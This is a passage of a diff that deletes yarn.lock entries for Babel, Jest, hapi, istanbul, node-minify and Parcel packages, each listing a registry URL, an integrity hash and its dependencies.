-integrity sha512-MBlzPc1nJvbmO9rPr1fQwXOM2iGut+JC92ku6PbiJMMK7SnQc1rytgpopveE3Evn47gzvGYeCdgfCDbZo0ecUw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-object-super@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.10.1.tgz#2e3016b0adbf262983bf0d5121d676a5ed9c4fde"
-integrity sha512-WnnStUDN5GL+wGQrJylrnnVlFhFmeArINIR9gjhSeYyvroGhBrSAXYg/RHsnfzmsa+onJrTJrEClPzgNmmQ4Gw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-replace-supers" "^7.10.1"
-
-"@babel/plugin-transform-parameters@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.10.1.tgz#b25938a3c5fae0354144a720b07b32766f683ddd"
-integrity sha512-tJ1T0n6g4dXMsL45YsSzzSDZCxiHXAQp/qHrucOq5gEHncTA3xDxnd5+sZcoQp+N1ZbieAaB8r/VUCG0gqseOg==
-dependencies:
-"@babel/helper-get-function-arity" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-property-literals@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.10.1.tgz#cffc7315219230ed81dc53e4625bf86815b6050d"
-integrity sha512-Kr6+mgag8auNrgEpbfIWzdXYOvqDHZOF0+Bx2xh4H2EDNwcbRb9lY6nkZg8oSjsX+DH9Ebxm9hOqtKW+gRDeNA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-react-jsx@^7.0.0":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.10.1.tgz#91f544248ba131486decb5d9806da6a6e19a2896"
-integrity sha512-MBVworWiSRBap3Vs39eHt+6pJuLUAaK4oxGc8g+wY+vuSJvLiEQjW1LSTqKb8OUPtDvHCkdPhk7d6sjC19xyFw==
-dependencies:
-"@babel/helper-builder-react-jsx" "^7.10.1"
-"@babel/helper-builder-react-jsx-experimental" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-jsx" "^7.10.1"
-
-"@babel/plugin-transform-regenerator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.10.1.tgz#10e175cbe7bdb63cc9b39f9b3f823c5c7c5c5490"
-integrity sha512-B3+Y2prScgJ2Bh/2l9LJxKbb8C8kRfsG4AdPT+n7ixBHIxJaIG8bi8tgjxUMege1+WqSJ+7gu1YeoMVO3gPWzw==
-dependencies:
-regenerator-transform "^0.14.2"
-
-"@babel/plugin-transform-reserved-words@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.1.tgz#0fc1027312b4d1c3276a57890c8ae3bcc0b64a86"
-integrity sha512-qN1OMoE2nuqSPmpTqEM7OvJ1FkMEV+BjVeZZm9V9mq/x1JLKQ4pcv8riZJMNN3u2AUGl0ouOMjRr2siecvHqUQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-shorthand-properties@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.10.1.tgz#e8b54f238a1ccbae482c4dce946180ae7b3143f3"
-integrity sha512-AR0E/lZMfLstScFwztApGeyTHJ5u3JUKMjneqRItWeEqDdHWZwAOKycvQNCasCK/3r5YXsuNG25funcJDu7Y2g==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-spread@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.10.1.tgz#0c6d618a0c4461a274418460a28c9ccf5239a7c8"
-integrity sha512-8wTPym6edIrClW8FI2IoaePB91ETOtg36dOkj3bYcNe7aDMN2FXEoUa+WrmPc4xa1u2PQK46fUX2aCb+zo9rfw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-sticky-regex@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.1.tgz#90fc89b7526228bed9842cff3588270a7a393b00"
-integrity sha512-j17ojftKjrL7ufX8ajKvwRilwqTok4q+BjkknmQw9VNHnItTyMP5anPFzxFJdCQs7clLcWpCV3ma+6qZWLnGMA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-regex" "^7.10.1"
-
-"@babel/plugin-transform-template-literals@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.10.1.tgz#914c7b7f4752c570ea00553b4284dad8070e8628"
-integrity sha512-t7B/3MQf5M1T9hPCRG28DNGZUuxAuDqLYS03rJrIk2prj/UV7Z6FOneijhQhnv/Xa039vidXeVbvjK2SK5f7Gg==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-typeof-symbol@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.1.tgz#60c0239b69965d166b80a84de7315c1bc7e0bb0e"
-integrity sha512-qX8KZcmbvA23zDi+lk9s6hC1FM7jgLHYIjuLgULgc8QtYnmB3tAVIYkNoKRQ75qWBeyzcoMoK8ZQmogGtC/w0g==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-unicode-escapes@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.10.1.tgz#add0f8483dab60570d9e03cecef6c023aa8c9940"
-integrity sha512-zZ0Poh/yy1d4jeDWpx/mNwbKJVwUYJX73q+gyh4bwtG0/iUlzdEu0sLMda8yuDFS6LBQlT/ST1SJAR6zYwXWgw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-unicode-regex@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.1.tgz#6b58f2aea7b68df37ac5025d9c88752443a6b43f"
-integrity sha512-Y/2a2W299k0VIUdbqYm9X2qS6fE0CUBhhiPpimK6byy7OJ/kORLlIX+J6UrjgNu5awvs62k+6RSslxhcvVw2Tw==
-dependencies:
-"@babel/helper-create-regexp-features-plugin" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/preset-env@^7.10.2", "@babel/preset-env@^7.4.4":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.10.2.tgz#715930f2cf8573b0928005ee562bed52fb65fdfb"
-integrity sha512-MjqhX0RZaEgK/KueRzh+3yPSk30oqDKJ5HP5tqTSB1e2gzGS3PLy7K0BIpnp78+0anFuSwOeuCf1zZO7RzRvEA==
-dependencies:
-"@babel/compat-data" "^7.10.1"
-"@babel/helper-compilation-targets" "^7.10.2"
-"@babel/helper-module-imports" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-proposal-async-generator-functions" "^7.10.1"
-"@babel/plugin-proposal-class-properties" "^7.10.1"
-"@babel/plugin-proposal-dynamic-import" "^7.10.1"
-"@babel/plugin-proposal-json-strings" "^7.10.1"
-"@babel/plugin-proposal-nullish-coalescing-operator" "^7.10.1"
-"@babel/plugin-proposal-numeric-separator" "^7.10.1"
-"@babel/plugin-proposal-object-rest-spread" "^7.10.1"
-"@babel/plugin-proposal-optional-catch-binding" "^7.10.1"
-"@babel/plugin-proposal-optional-chaining" "^7.10.1"
-"@babel/plugin-proposal-private-methods" "^7.10.1"
-"@babel/plugin-proposal-unicode-property-regex" "^7.10.1"
-"@babel/plugin-syntax-async-generators" "^7.8.0"
-"@babel/plugin-syntax-class-properties" "^7.10.1"
-"@babel/plugin-syntax-dynamic-import" "^7.8.0"
-"@babel/plugin-syntax-json-strings" "^7.8.0"
-"@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-"@babel/plugin-syntax-numeric-separator" "^7.10.1"
-"@babel/plugin-syntax-object-rest-spread" "^7.8.0"
-"@babel/plugin-syntax-optional-catch-binding" "^7.8.0"
-"@babel/plugin-syntax-optional-chaining" "^7.8.0"
-"@babel/plugin-syntax-top-level-await" "^7.10.1"
-"@babel/plugin-transform-arrow-functions" "^7.10.1"
-"@babel/plugin-transform-async-to-generator" "^7.10.1"
-"@babel/plugin-transform-block-scoped-functions" "^7.10.1"
-"@babel/plugin-transform-block-scoping" "^7.10.1"
-"@babel/plugin-transform-classes" "^7.10.1"
-"@babel/plugin-transform-computed-properties" "^7.10.1"
-"@babel/plugin-transform-destructuring" "^7.10.1"
-"@babel/plugin-transform-dotall-regex" "^7.10.1"
-"@babel/plugin-transform-duplicate-keys" "^7.10.1"
-"@babel/plugin-transform-exponentiation-operator" "^7.10.1"
-"@babel/plugin-transform-for-of" "^7.10.1"
-"@babel/plugin-transform-function-name" "^7.10.1"
-"@babel/plugin-transform-literals" "^7.10.1"
-"@babel/plugin-transform-member-expression-literals" "^7.10.1"
-"@babel/plugin-transform-modules-amd" "^7.10.1"
-"@babel/plugin-transform-modules-commonjs" "^7.10.1"
-"@babel/plugin-transform-modules-systemjs" "^7.10.1"
-"@babel/plugin-transform-modules-umd" "^7.10.1"
-"@babel/plugin-transform-named-capturing-groups-regex" "^7.8.3"
-"@babel/plugin-transform-new-target" "^7.10.1"
-"@babel/plugin-transform-object-super" "^7.10.1"
-"@babel/plugin-transform-parameters" "^7.10.1"
-"@babel/plugin-transform-property-literals" "^7.10.1"
-"@babel/plugin-transform-regenerator" "^7.10.1"
-"@babel/plugin-transform-reserved-words" "^7.10.1"
-"@babel/plugin-transform-shorthand-properties" "^7.10.1"
-"@babel/plugin-transform-spread" "^7.10.1"
-"@babel/plugin-transform-sticky-regex" "^7.10.1"
-"@babel/plugin-transform-template-literals" "^7.10.1"
-"@babel/plugin-transform-typeof-symbol" "^7.10.1"
-"@babel/plugin-transform-unicode-escapes" "^7.10.1"
-"@babel/plugin-transform-unicode-regex" "^7.10.1"
-"@babel/preset-modules" "^0.1.3"
-"@babel/types" "^7.10.2"
-browserslist "^4.12.0"
-core-js-compat "^3.6.2"
-invariant "^2.2.2"
-levenary "^1.1.1"
-semver "^5.5.0"
-
-"@babel/preset-modules@^0.1.3":
-version "0.1.3"
-resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.3.tgz#13242b53b5ef8c883c3cf7dddd55b36ce80fbc72"
-integrity sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.0.0"
-"@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
-"@babel/plugin-transform-dotall-regex" "^7.4.4"
-"@babel/types" "^7.4.4"
-esutils "^2.0.2"
-
-"@babel/runtime@^7.4.4", "@babel/runtime@^7.8.4":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.10.2.tgz#d103f21f2602497d38348a32e008637d506db839"
-integrity sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==
-dependencies:
-regenerator-runtime "^0.13.4"
-
-"@babel/template@^7.10.1", "@babel/template@^7.3.3", "@babel/template@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.10.1.tgz#e167154a94cb5f14b28dc58f5356d2162f539811"
-integrity sha512-OQDg6SqvFSsc9A0ej6SKINWrpJiNonRIniYondK2ViKhB06i3c0s+76XUft71iqBEe9S1OKsHwPAjfHnuvnCig==
-dependencies:
-"@babel/code-frame" "^7.10.1"
-"@babel/parser" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/traverse@^7.1.0", "@babel/traverse@^7.10.1", "@babel/traverse@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.10.1.tgz#bbcef3031e4152a6c0b50147f4958df54ca0dd27"
-integrity sha512-C/cTuXeKt85K+p08jN6vMDz8vSV0vZcI0wmQ36o6mjbuo++kPMdpOYw23W2XH04dbRt9/nMEfA4W3eR21CD+TQ==
-dependencies:
-"@babel/code-frame" "^7.10.1"
-"@babel/generator" "^7.10.1"
-"@babel/helper-function-name" "^7.10.1"
-"@babel/helper-split-export-declaration" "^7.10.1"
-"@babel/parser" "^7.10.1"
-"@babel/types" "^7.10.1"
-debug "^4.1.0"
-globals "^11.1.0"
-lodash "^4.17.13"
-
-"@babel/types@^7.0.0", "@babel/types@^7.10.1", "@babel/types@^7.10.2", "@babel/types@^7.3.0", "@babel/types@^7.3.3", "@babel/types@^7.4.4":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.10.2.tgz#30283be31cad0dbf6fb00bd40641ca0ea675172d"
-integrity sha512-AD3AwWBSz0AWF0AkCN9VPiWrvldXq+/e3cHa4J89vo4ymjz1XwrBFFVZmkJTsQIPNk+ZVomPSXUJqq8yyjZsng==
-dependencies:
-"@babel/helper-validator-identifier" "^7.10.1"
-lodash "^4.17.13"
-to-fast-properties "^2.0.0"
-
-"@bcoe/v8-coverage@^0.2.3":
-version "0.2.3"
-resolved "https://registry.yarnpkg.com/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz#75a2e8b51cb758a7553d6804a5932d7aace75c39"
-integrity sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==
-
-"@cnakazawa/watch@^1.0.3":
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/@cnakazawa/watch/-/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a"
-integrity sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==
-dependencies:
-exec-sh "^0.3.2"
-minimist "^1.2.0"
-
-"@hapi/address@^4.0.1":
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/@hapi/address/-/address-4.0.1.tgz#267301ddf7bc453718377a6fb3832a2f04a721dd"
-integrity sha512-0oEP5UiyV4f3d6cBL8F3Z5S7iWSX39Knnl0lY8i+6gfmmIBj44JCBNtcMgwyS+5v7j3VYavNay0NFHDS+UGQcw==
-dependencies:
-"@hapi/hoek" "^9.0.0"
-
-"@hapi/formula@^2.0.0":
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/@hapi/formula/-/formula-2.0.0.tgz#edade0619ed58c8e4f164f233cda70211e787128"
-integrity sha512-V87P8fv7PI0LH7LiVi8Lkf3x+KCO7pQozXRssAHNXXL9L1K+uyu4XypLXwxqVDKgyQai6qj3/KteNlrqDx4W5A==
-
-"@hapi/hoek@^9.0.0":
-version "9.0.4"
-resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.0.4.tgz#e80ad4e8e8d2adc6c77d985f698447e8628b6010"
-integrity sha512-EwaJS7RjoXUZ2cXXKZZxZqieGtc7RbvQhUy8FwDoMQtxWVi14tFjeFCYPZAM1mBCpOpiBpyaZbb9NeHc7eGKgw==
-
-"@hapi/joi@^17.1.1":
-version "17.1.1"
-resolved "https://registry.yarnpkg.com/@hapi/joi/-/joi-17.1.1.tgz#9cc8d7e2c2213d1e46708c6260184b447c661350"
-integrity sha512-p4DKeZAoeZW4g3u7ZeRo+vCDuSDgSvtsB/NpfjXEHTUjSeINAi/RrVOWiVQ1isaoLzMvFEhe8n5065mQq1AdQg==
-dependencies:
-"@hapi/address" "^4.0.1"
-"@hapi/formula" "^2.0.0"
-"@hapi/hoek" "^9.0.0"
-"@hapi/pinpoint" "^2.0.0"
-"@hapi/topo" "^5.0.0"
-
-"@hapi/pinpoint@^2.0.0":
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/@hapi/pinpoint/-/pinpoint-2.0.0.tgz#805b40d4dbec04fc116a73089494e00f073de8df"
-integrity sha512-vzXR5MY7n4XeIvLpfl3HtE3coZYO4raKXW766R6DZw/6aLqR26iuZ109K7a0NtF2Db0jxqh7xz2AxkUwpUFybw==
-
-"@hapi/topo@^5.0.0":
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/@hapi/topo/-/topo-5.0.0.tgz#c19af8577fa393a06e9c77b60995af959be721e7"
-integrity sha512-tFJlT47db0kMqVm3H4nQYgn6Pwg10GTZHb1pwmSiv1K4ks6drQOtfEF5ZnPjkvC+y4/bUPHK+bc87QvLcL+WMw==
-dependencies:
-"@hapi/hoek" "^9.0.0"
-
-"@iarna/toml@^2.2.0":
-version "2.2.5"
-resolved "https://registry.yarnpkg.com/@iarna/toml/-/toml-2.2.5.tgz#b32366c89b43c6f8cefbdefac778b9c828e3ba8c"
-integrity sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==
-
-"@istanbuljs/load-nyc-config@^1.0.0":
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced"
-integrity sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==
-dependencies:
-camelcase "^5.3.1"
-find-up "^4.1.0"
-get-package-type "^0.1.0"
-js-yaml "^3.13.1"
-resolve-from "^5.0.0"
-
-"@istanbuljs/schema@^0.1.2":
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/@istanbuljs/schema/-/schema-0.1.2.tgz#26520bf09abe4a5644cd5414e37125a8954241dd"
-integrity sha512-tsAQNx32a8CoFhjhijUIhI4kccIAgmGhy8LZMZgGfmXcpMbPRUqn5LWmgRttILi6yeGmBJd2xsPkFMs0PzgPCw==
-
-"@jest/console@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/console/-/console-26.0.1.tgz#62b3b2fa8990f3cbffbef695c42ae9ddbc8f4b39"
-integrity sha512-9t1KUe/93coV1rBSxMmBAOIK3/HVpwxArCA1CxskKyRiv6o8J70V8C/V3OJminVCTa2M0hQI9AWRd5wxu2dAHw==
-dependencies:
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-jest-message-util "^26.0.1"
-jest-util "^26.0.1"
-slash "^3.0.0"
-
-"@jest/core@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/core/-/core-26.0.1.tgz#aa538d52497dfab56735efb00e506be83d841fae"
-integrity sha512-Xq3eqYnxsG9SjDC+WLeIgf7/8KU6rddBxH+SCt18gEpOhAGYC/Mq+YbtlNcIdwjnnT+wDseXSbU0e5X84Y4jTQ==
-dependencies:
-"@jest/console" "^26.0.1"
-"@jest/reporters" "^26.0.1"
-"@jest/test-result" "^26.0.1"
-"@jest/transform" "^26.0.1"
-"@jest/types" "^26.0.1"
-ansi-escapes "^4.2.1"
-chalk "^4.0.0"
-exit "^0.1.2"
-graceful-fs "^4.2.4"
-jest-changed-files "^26.0.1"
-jest-config "^26.0.1"
-jest-haste-map "^26.0.1"
-jest-message-util "^26.0.1"
-jest-regex-util "^26.0.0"
-jest-resolve "^26.0.1"
-jest-resolve-dependencies "^26.0.1"
-jest-runner "^26.0.1"
-jest-runtime "^26.0.1"
-jest-snapshot "^26.0.1"
-jest-util "^26.0.1"
-jest-validate "^26.0.1"
-jest-watcher "^26.0.1"
-micromatch "^4.0.2"
-p-each-series "^2.1.0"
-rimraf "^3.0.0"
-slash "^3.0.0"
-strip-ansi "^6.0.0"
-
-"@jest/environment@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/environment/-/environment-26.0.1.tgz#82f519bba71959be9b483675ee89de8c8f72a5c8"
-integrity sha512-xBDxPe8/nx251u0VJ2dFAFz2H23Y98qdIaNwnMK6dFQr05jc+Ne/2np73lOAx+5mSBO/yuQldRrQOf6hP1h92g==
-dependencies:
-"@jest/fake-timers" "^26.0.1"
-"@jest/types" "^26.0.1"
-jest-mock "^26.0.1"
-
-"@jest/fake-timers@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/fake-timers/-/fake-timers-26.0.1.tgz#f7aeff13b9f387e9d0cac9a8de3bba538d19d796"
-integrity sha512-Oj/kCBnTKhm7CR+OJSjZty6N1bRDr9pgiYQr4wY221azLz5PHi08x/U+9+QpceAYOWheauLP8MhtSVFrqXQfhg==
-dependencies:
-"@jest/types" "^26.0.1"
-"@sinonjs/fake-timers" "^6.0.1"
-jest-message-util "^26.0.1"
-jest-mock "^26.0.1"
-jest-util "^26.0.1"
-
-"@jest/globals@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/globals/-/globals-26.0.1.tgz#3f67b508a7ce62b6e6efc536f3d18ec9deb19a9c"
-integrity sha512-iuucxOYB7BRCvT+TYBzUqUNuxFX1hqaR6G6IcGgEqkJ5x4htNKo1r7jk1ji9Zj8ZMiMw0oB5NaA7k5Tx6MVssA==
-dependencies:
-"@jest/environment" "^26.0.1"
-"@jest/types" "^26.0.1"
-expect "^26.0.1"
-
-"@jest/reporters@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/reporters/-/reporters-26.0.1.tgz#14ae00e7a93e498cec35b0c00ab21c375d9b078f"
-integrity sha512-NWWy9KwRtE1iyG/m7huiFVF9YsYv/e+mbflKRV84WDoJfBqUrNRyDbL/vFxQcYLl8IRqI4P3MgPn386x76Gf2g==
-dependencies:
-"@bcoe/v8-coverage" "^0.2.3"
-"@jest/console" "^26.0.1"
-"@jest/test-result" "^26.0.1"
-"@jest/transform" "^26.0.1"
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-collect-v8-coverage "^1.0.0"
-exit "^0.1.2"
-glob "^7.1.2"
-graceful-fs "^4.2.4"
-istanbul-lib-coverage "^3.0.0"
-istanbul-lib-instrument "^4.0.0"
-istanbul-lib-report "^3.0.0"
-istanbul-lib-source-maps "^4.0.0"
-istanbul-reports "^3.0.2"
-jest-haste-map "^26.0.1"
-jest-resolve "^26.0.1"
-jest-util "^26.0.1"
-jest-worker "^26.0.0"
-slash "^3.0.0"
-source-map "^0.6.0"
-string-length "^4.0.1"
-terminal-link "^2.0.0"
-v8-to-istanbul "^4.1.3"
-optionalDependencies:
-node-notifier "^7.0.0"
-
-"@jest/source-map@^26.0.0":
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/@jest/source-map/-/source-map-26.0.0.tgz#fd7706484a7d3faf7792ae29783933bbf48a4749"
-integrity sha512-S2Z+Aj/7KOSU2TfW0dyzBze7xr95bkm5YXNUqqCek+HE0VbNNSNzrRwfIi5lf7wvzDTSS0/ib8XQ1krFNyYgbQ==
-dependencies:
-callsites "^3.0.0"
-graceful-fs "^4.2.4"
-source-map "^0.6.0"
-
-"@jest/test-result@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/test-result/-/test-result-26.0.1.tgz#1ffdc1ba4bc289919e54b9414b74c9c2f7b2b718"
-integrity sha512-oKwHvOI73ICSYRPe8WwyYPTtiuOAkLSbY8/MfWF3qDEd/sa8EDyZzin3BaXTqufir/O/Gzea4E8Zl14XU4Mlyg==
-dependencies:
-"@jest/console" "^26.0.1"
-"@jest/types" "^26.0.1"
-"@types/istanbul-lib-coverage" "^2.0.0"
-collect-v8-coverage "^1.0.0"
-
-"@jest/test-sequencer@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/test-sequencer/-/test-sequencer-26.0.1.tgz#b0563424728f3fe9e75d1442b9ae4c11da73f090"
-integrity sha512-ssga8XlwfP8YjbDcmVhwNlrmblddMfgUeAkWIXts1V22equp2GMIHxm7cyeD5Q/B0ZgKPK/tngt45sH99yLLGg==
-dependencies:
-"@jest/test-result" "^26.0.1"
-graceful-fs "^4.2.4"
-jest-haste-map "^26.0.1"
-jest-runner "^26.0.1"
-jest-runtime "^26.0.1"
-
-"@jest/transform@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/transform/-/transform-26.0.1.tgz#0e3ecbb34a11cd4b2080ed0a9c4856cf0ceb0639"
-integrity sha512-pPRkVkAQ91drKGbzCfDOoHN838+FSbYaEAvBXvKuWeeRRUD8FjwXkqfUNUZL6Ke48aA/1cqq/Ni7kVMCoqagWA==
-dependencies:
-"@babel/core" "^7.1.0"
-"@jest/types" "^26.0.1"
-babel-plugin-istanbul "^6.0.0"
-chalk "^4.0.0"
-convert-source-map "^1.4.0"
-fast-json-stable-stringify "^2.0.0"
-graceful-fs "^4.2.4"
-jest-haste-map "^26.0.1"
-jest-regex-util "^26.0.0"
-jest-util "^26.0.1"
-micromatch "^4.0.2"
-pirates "^4.0.1"
-slash "^3.0.0"
-source-map "^0.6.1"
-write-file-atomic "^3.0.0"
-
-"@jest/types@^26.0.1":
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/@jest/types/-/types-26.0.1.tgz#b78333fbd113fa7aec8d39de24f88de8686dac67"
-integrity sha512-IbtjvqI9+eS1qFnOIEL7ggWmT+iK/U+Vde9cGWtYb/b6XgKb3X44ZAe/z9YZzoAAZ/E92m0DqrilF934IGNnQA==
-dependencies:
-"@types/istanbul-lib-coverage" "^2.0.0"
-"@types/istanbul-reports" "^1.1.1"
-"@types/yargs" "^15.0.0"
-chalk "^4.0.0"
-
-"@mrmlnc/readdir-enhanced@^2.2.1":
-version "2.2.1"
-resolved "https://registry.yarnpkg.com/@mrmlnc/readdir-enhanced/-/readdir-enhanced-2.2.1.tgz#524af240d1a360527b730475ecfa1344aa540dde"
-integrity sha512-bPHp6Ji8b41szTOcaP63VlnbbO5Ny6dwAATtY6JTjh5N2OLrb5Qk/Th5cRkRQhkWCt+EJsYrNB0MiL+Gpn6e3g==
-dependencies:
-call-me-maybe "^1.0.1"
-glob-to-regexp "^0.3.0"
-
-"@node-minify/core@^5.3.0":
-version "5.3.0"
-resolved "https://registry.yarnpkg.com/@node-minify/core/-/core-5.3.0.tgz#67c7f96fac269d41cd45058f6e86236e9674aa16"
-integrity sha512-1yB2raSb5eOc+1iViM1gmlT0ieYrPWbQfivu7LYPg2cfRJT8fVbpfrHf/hxZs/NwW11MdxD+yZTulIKYfvpwnQ==
-dependencies:
-"@node-minify/utils" "^5.3.0"
-glob "7.1.6"
-mkdirp "0.5.1"
-
-"@node-minify/html-minifier@^5.3.0":
-version "5.3.0"
-resolved "https://registry.yarnpkg.com/@node-minify/html-minifier/-/html-minifier-5.3.0.tgz#70c8ac19abb445824dcbfce8c7df83a5f3da8d86"
-integrity sha512-nq8xubUSJj/BNEpR8G8n4do6EUT8lmqfyE1Sj8PxJ1y4OYJm1JgSKqrWhPod7+QgSYIVH/FyleEGF8lZcODZog==
-dependencies:
-"@node-minify/utils" "^5.3.0"
-html-minifier "4.0.0"
-
-"@node-minify/utils@^5.3.0":
-version "5.3.0"
-resolved "https://registry.yarnpkg.com/@node-minify/utils/-/utils-5.3.0.tgz#ddacbb19aa4f2371ea7d133c62c2c8e659d89ba0"
-integrity sha512-4FsEiTE3Jf036OhG8Fl461rK9NkIzLVY8WASD560ZubohSnYUteYnBd2W0GOPlTwImVu4F+XehURd2eIY1bMvw==
-dependencies:
-gzip-size "5.1.1"
-
-"@nodelib/fs.stat@^1.1.2":
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-1.1.3.tgz#2b5a3ab3f918cca48a8c754c08168e3f03eba61b"
-integrity sha512-shAmDyaQC4H92APFoIaVDHCx5bStIocgvbwQyxPRrbUY20V1EYTbSDchWbuwlMG3V17cprZhA6+78JfB+3DTPw==
-
-"@parcel/fs@^1.11.0":
-version "1.11.0"
-resolved "https://registry.yarnpkg.com/@parcel/fs/-/fs-1.11.0.tgz#fb8a2be038c454ad46a50dc0554c1805f13535cd"
-integrity sha512-86RyEqULbbVoeo8OLcv+LQ1Vq2PKBAvWTU9fCgALxuCTbbs5Ppcvll4Vr+Ko1AnmMzja/k++SzNAwJfeQXVlpA==
-dependencies:
-"@parcel/utils" "^1.11.0"
-mkdirp "^0.5.1"
-rimraf "^2.6.2"
-
-"@parcel/logger@^1.11.1":
-version "1.11.1"
-resolved "https://registry.yarnpkg.com/@parcel/logger/-/logger-1.11.1.tgz#c55b0744bcbe84ebc291155627f0ec406a23e2e6"
-integrity sha512-9NF3M6UVeP2udOBDILuoEHd8VrF4vQqoWHEafymO1pfSoOMfxrSJZw1MfyAAIUN/IFp9qjcpDCUbDZB+ioVevA==
-dependencies:
-"@parcel/workers" "^1.11.0"
-chalk "^2.1.0"
